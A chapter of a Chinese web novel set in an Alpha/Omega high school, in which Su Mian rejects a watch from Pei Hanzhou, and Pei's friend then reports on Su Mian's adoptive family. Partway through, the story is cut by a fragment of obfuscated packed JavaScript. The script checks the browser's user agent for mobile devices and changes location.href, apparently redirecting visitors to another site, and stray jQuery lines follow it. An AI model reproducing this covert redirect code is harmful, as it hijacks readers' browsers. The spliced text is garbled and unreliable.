苏眠被纪家找回来之后,非常努力地学习了一段时间的“新鲜事物”。
能够上门辅导功课的家庭教师、不用烧开就可以饮用的自来水、还有从不盛放剩菜的冰箱……
这都是很细微很渺小的细节,苏眠却总是觉得别扭,半夜起来喝水没找到笨重又陈旧的暖瓶,都能恍惚好久。
直饮机幽亮的蓝光在黑夜中格外醒目,正打在苏眠的侧脸上,无尽的黑暗和恐惧充斥在这栋巨大的房子里,夏日炎炎,他却觉得冷寒。
后来他隐隐明白过来,自己之所以觉得恐惧,是害怕自己被送回去时会不习惯。
若是他接受了这方便至极的家庭设施,过惯了养尊处优的生活,再回到那个狭窄逼仄的小黑屋里,恐怕没这么容易接受。
苏眠回过神来,将面前的手表盒子推了回去。
裴寒舟脸上的微笑此时此刻已经消失殆尽,正一言不发地看着他。
“谢谢你,不过还是不用了。”苏眠不卑不亢,面不改色地利用着自己的过往,“这样好的东西,我拿着也不会用,何况我还欠你钱,怎么能收债主的东西。”
短短一句话,裴寒舟差点咽气两次。
食堂三楼的光线很好。
午后的阳光透过巨大的玻璃窗斜射进来,在崭新的桌面上投下一片明亮的光斑。
周围隐约有餐具碰撞的声音和其他学生的谈笑声,但在这个小小的隔间里,空气仿佛凝滞了。
苏眠见他久久不语,索性低下头小口小口地喝掉那碗鸡蓉粥,动作很慢,每一勺都吹凉了才送进嘴里。
阳光落在他低垂的睫毛上,将他细软的头发照得有些蓬乱。
他太瘦了,校服衬衫的领口有些松,低头时露出一截白皙到近乎透明的后颈。
那里本该有Omega的腺体,此刻却平滑一片。
胸腔中有什么东西即将满溢出来。
裴寒舟不知道自己到底是怎么了。
等他反应过来的时候,那只崭新的手表已经被他箍在了苏眠的手腕上。
Omega的手腕格外细瘦,他放轻了力道,在发现对方的手腕连最紧的表带都没法契合的时候,流露出一丝懊恼。
裴寒舟顿了顿,语气终于恢复了从容:“你的身体状况需要随时监测心率和其他基础指标,这款手表有医疗级传感器,数据可以同步到云端,很方便的,我教你用,几分钟就能上手。”
苏眠挑了挑眉,不是说是为了接收消息吗,怎么突然跳到监测身体数据上了?
他平静地喝掉最后一口粥:“没必要。”
似乎是怕这句话拒绝的意思不够明显,苏眠顿了顿,又补充道:“反正十几年都这么过来了,我还没这么脆弱。”
裴寒舟学着他的样子眉峰微挑,眉眼间带上了几分兴味,苏眠现在的态度和早上可谓是大相径庭。
还是说他现在这幅油盐不进的模样才是本性?
导致他态度转变的契机是什么?裴寒舟自问没有露出破绽,分寸把握得还算得当,应该不至于惹人厌烦才对。
思绪千回百转,落在苏眠眼里,就是这人盯着自己发起了呆。
不怪苏眠觉得齐清羽的描述夸大其词,实在是裴寒舟这个人实在和天之骄子不沾边。
苏眠甚至觉得对方很接地气,完全没有人与人之间的边界感。
“哐当——”苏眠站起身,却不小心碰到了餐盘,发出了两声刺耳的脆响。
裴寒舟迅速伸手扶了把摇摇欲坠的餐盘,刚想和苏眠说些什么,却看到他脸色煞白地站在原地,登时去查看他的手臂:“磕到了?疼不疼,磕哪了我看看。”
这本是一件小事,只是苏眠起身稍微急了一点。
但他的反应却似乎不太对劲。
苏眠僵在原地,任由裴寒舟将自己裸露在外的小臂和手腕都检查了一遍。
十几秒钟后才堪堪回神,一言不发地抽回手,迈过裴寒舟支棱在外的一双长腿,默不作声地往外走。
他情绪不对,裴寒舟不敢逼得太紧,眼睁睁地看着他消失在自己的视野范围内。
苏眠一直走到食堂外面的空旷地带,被热辣的太阳烫了一遍皮,脸上红润起来。
好丢脸,好丢脸。
苏眠自问不是脆弱的瓷器,现在却连听个响都觉得心惊胆战,心脏一瞬间迅速跳了五六下,他还以为自己要死了。
不知道从什么时候开始,他的耳朵变得很敏感。
苏眠不知道这是什么原因导致的,幸好只要注意一点就不会影响日常生活,大概率不是病。
手腕上有点重量,苏眠抬起来一看,崭新的手表还在上面,刚才走得急,忘了取下来。
苏眠有些苦恼,他其实没见过裴寒舟这样的人,不知道自己以往的把戏是否能够生效。
从小学到初中,苏眠利用这些伎俩躲过了很多惩罚,尤其是体育老师,根本不敢罚他跑圈。
但他知道自己的把戏很拙劣,只有善良的人会上当。
裴寒舟明显不是什么善心泛滥的大好人。
苏眠晃了晃脑袋,抬眼看了看四周,随便找了栋教学楼进去避暑。
兜里的手机震了震,苏眠还以为是齐清羽,刚才他看到齐清羽给两人加上了好友。
结果拿出来一看,还是裴寒舟。
苏眠:“……”阴魂不散。
裴寒舟:抱歉,对不起,我错了
裴寒舟:能原谅我先斩后奏吗?我只是觉得你戴手表也会很好看,不是因为别的
裴寒舟:你不想回我也可以,至少让我知道你看过吧?
苏眠看见这句话,无师自通敷衍大法,手指点点点,回给他一个“1”。
裴寒舟:……
苏眠揣起手机,循着自己的记忆往高二三班走,午休时间快结束了,他想去班里熟悉一下环境。
他转学过几次,虽然都是被迫的,但也算是有点当转校生的经验。
另一边,裴寒舟思考再三,还是决定跟上去。
谁知道刚一出门就碰上了方帘雨。
方帘雨从小和他几乎是穿同一条裤子长大的,两个人家里都知根知底,不要太熟悉。
是以方帘雨一看裴寒舟魂不守舍的脸,骤然怪叫一声:“哟!”
“……”裴寒舟差点被他这一嗓子吓到,颇为无语,“你是鹿吗?早晚给你开除人籍。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305377|198706||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>方帘雨尤嫌不够解气,又是一叠声:“呦呦呦,让我猜猜,这是刚和人家表白,结果人家义正言辞地拒绝了你,是不是?!”
裴寒舟并不掩饰,在这种事情上,他一向很坦诚:“他还不知道,你注意点,别去他面前跳。”
这下方帘雨是真的意外了,怪叫道:“天要下红雨,你裴家大少爷要转性,追人还用起迂回战术了!是谁上午和人起口角下午就约着在巷子里干了一架的?!”
“这不一样,”裴寒舟蹙了蹙眉,“他身体不好,心脏也经不起波折,你不要没事找事。”
方帘雨摸了摸下巴,煞有介事的模样:“这倒是,Omega本来就金贵,先天性心脏病更是雪上加霜,老裴啊,你估计得好久才能吃上了。”
他话里的暗示很明显,两人都是Alpha,没什么听不懂的。
方帘雨是个浪荡货,平时嘴上就没个把门的,裴寒舟往日听过就忘了,今天却有点较真的意思。
“你注意一点,不要让我强调第二次,这种话你自己心里想想就得了,老挂在嘴边像什么样子。”
裴寒舟这番发言令方帘雨很不满,都是大尾巴狼当什么正人君子!
说得好像他很能忍一样!
于是方帘雨翻了个白眼,阴阳怪气地说:“记住你今天的豪言壮志,以后晚上睡不着觉可别来找我,你没有幸福生活我还有呢!”
裴寒舟不为所动,只问他:“让你查的事情有眉目了吗?”
方帘雨瞬间昂首挺胸,像只打了胜仗的公鸡:“这时候想起你方爹了?刚才训我跟训儿子一样……”
“车你还要不要?”
一句话杀死比赛。
“行行行,不就是纪星眠的收养家庭资料吗,那玩意儿都不用怎么查,一眼就能望到底,他养母没工作,给别人家打扫卫生收点零钱补贴家用,养父是工人,拿底薪的,家里条件确实不好,俩人一直没孩子,后来遇到走失的纪星眠动了歪心思,没报警,藏了半年后找借口上了户口,小地方本来就有不少黑户口的,就这么过了十几年。”
方帘雨说的口渴,看见路边的零售机顺手买了听可乐,一阵牛饮,这才接着说:“要我说纪家也是无能,愣生生找了十几年,最后还是靠着医院的线索才找到,要不是纪星眠在路上晕倒被路人送去医院,纪家可能要找一辈子。”
裴寒舟突然有点难过。
方帘雨沉浸在自己的叙述中,没有注意到裴寒舟阴郁暗沉的视线,叭叭叭一顿输出:“纪星宸是个Alpha,就算找回了弟弟也不知道怎么相处,家长都在国外忙收购案脱不开身,愣是把人放在半山别墅半个月,请了个老师教着,那老师能力还行,就是嘴碎,肯定不讨小o喜欢,纪星宸哪懂这个,听说把人弄得又昏了一次,这才安排进学校里面,也不求学习成绩,所以进的国际班,不用高考。”
方帘雨人脉广,很多事情问一嘴就有眉目,这种八卦没少听,也见怪不怪了。
但裴寒舟不一样。
他突然有点后悔,刚才在食堂里,和苏眠说话的语气应该再温柔一点,平和一点。
不,不只是刚刚。
他应该更早一点遇到苏眠才好。